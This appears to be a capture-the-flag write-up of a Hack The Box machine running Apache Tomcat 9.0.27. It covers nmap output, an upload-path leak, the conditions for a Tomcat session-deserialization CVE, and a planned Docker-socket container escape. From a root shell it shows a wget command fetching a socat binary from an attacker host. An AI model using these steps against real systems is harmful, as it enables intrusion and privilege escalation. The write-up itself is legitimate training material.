Making a script scan on all ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 06:52 EDT Nmap scan report for 10.10.10.205 Host is up (0.0066s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.27 |_http-title: VirusBucket Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
The web seems something related to online malware analyze?
only service are available
Found out script.js is loaded
let photo = document.getElementById("uploadFile").files[0]; let req = newXMLHttpRequest(); let email = document.getElementById("email").value; let formData = newFormData();
formData.append("image", photo);
awaitfetch('/upload.jsp?email=' + email , { method: "POST", body: formData}) .then(response=>response.text()) .then(data=>{ if(data.includes("successfully")) { document.getElementById("msg").innerText = "Upload successful! The report will be sent via e-mail."; } else { document.getElementById("msg").innerText = "File upload failed"; } }) .catch(function(error) { document.getElementById("msg").innerText = "File upload failed"; });
Not too interesting, it fetch the upload.jsp
However if we upload an empty filename, it will cause the jsp to obtain an error. We found out the upload directory address /opt/samples/uploads
the upload directory is not within the web directory, I have no way to execute malicious payload and execute it through URL.
After viewing the rating, it is a CVE-like Box. I don’t see any CMS or suspicious port
So I went to google about the Apache Tomcat 9.0.27
- The persistentManager is enabled andit's using a *FileStore* (Not too sure if this is enabled) - The attacker is able to upload a filewith arbitrary content, has control overthe filename and knows the location whereitis uploaded (We know the uploaded directory) - There are gadgets inthe *classpath* that can be used for a java deserialization attack
However we didnt root the box just so easy. We have the escape the docker environment, get to the host.
root@2d24bf61767c:~# cat todo.txt cat todo.txt - Add saltstack support to auto-spawn sandbox dockers through events. - Integrate changes to tomcat and make the service open to public.
After some enumeration, at the .bash_history
cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt cd /home/tomcat cat /etc/passwd exit cd /root/ ls cat todo.txt ls -la /var/run/ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json exit
/var/run/docker.sock is used in this case.
docker.sock is a unix socket of docker daemon listens on default, it can be used to communicate with the daemon from within a container.
We are allow to send commands through the docker.sock to the docker daemon though API.
that means, we can create a new docker which volume bind to the whole host folder and execute malicious commands.
after start the docker,use socat connect to the docker socket, however the machine doesnt have socat, we have to upload our own socat binary
root@2d24bf61767c:~# which wget which wget /usr/bin/wget root@2d24bf61767c:~# which socat which socat root@2d24bf61767c:~# ls ls todo.txt root@2d24bf61767c:~# wget 10.10.14.16:1337/socat wget 10.10.14.16:1337/socat --2020-09-02 07:14:12-- http://10.10.14.16:1337/socat Connecting to 10.10.14.16:1337... connected. HTTP request sent, awaiting response... 200 OK Length: 375176 (366K) [application/octet-stream] Saving to: ‘socat’
